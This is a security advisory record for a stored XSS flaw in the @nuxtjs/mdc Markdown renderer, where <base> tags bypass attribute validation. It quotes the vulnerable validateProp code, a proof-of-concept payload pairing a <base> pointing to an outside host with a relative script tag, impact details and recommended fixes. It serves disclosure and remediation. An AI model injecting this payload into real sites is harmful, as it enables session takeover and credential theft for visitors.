ghsa-cj6r-rrr9-fg82
Vulnerability from github
Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
Details
- Affected file :
src/runtime/parser/utils/props.ts - Core logic :
validateProp()inspects - attributes that start with
on→ blocked hreforsrc→ filtered byisAnchorLinkAllowed()
Every other attribute and every tag (including<base>) is allowed unchanged, so the malicioushrefon<base>is never validated.
export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.
Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
```
```
- Start the Nuxt app (
npm run dev). - Visit the page.
- The browser requests
https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).
Impact
- Type: Stored XSS via remote script inclusion
- Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
- Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.
Recommendations
- Disallow or sanitize
<base>tags in the renderer. The safest fix is to strip them entirely. - Alternatively, restrict
hrefon<base>to same-origin URLs and refuse protocols likehttp:,https:,data:, etc. that do not match the current site origin. - Publish a patched release and document the security fix.
- Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with
FORBID_TAGS: ['base'].
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nuxtjs/mdc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54075"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-20T16:36:14Z",
"nvd_published_at": "2025-07-18T16:15:30Z",
"severity": "HIGH"
},
"details": "### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site\u2019s context.\n\n### Details\n- **Affected file**\u2003: `src/runtime/parser/utils/props.ts` \n- **Core logic**\u2003\u2003: `validateProp()` inspects \n * attributes that start with `on` \u2192 blocked \n * `href` or `src` \u2192 filtered by `isAnchorLinkAllowed()` \n Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n if (attribute.startsWith(\u0027on\u0027)) return false\n if (attribute === \u0027href\u0027 || attribute === \u0027src\u0027) {\n return isAnchorLinkAllowed(value)\n }\n return true // \u2190 \u201chref\u201d on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path\u2014`/script.js`, `../img.png`, etc.\u2014is fetched from the attacker\u2019s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`). \n2. Visit the page. \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site\u2019s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments\u2026). \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely. \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin. \n3. Publish a patched release and document the security fix. \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: [\u0027base\u0027]`.",
"id": "GHSA-cj6r-rrr9-fg82",
"modified": "2025-07-20T16:36:14Z",
"published": "2025-07-20T16:36:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54075"
},
{
"type": "WEB",
"url": "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt-modules/mdc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.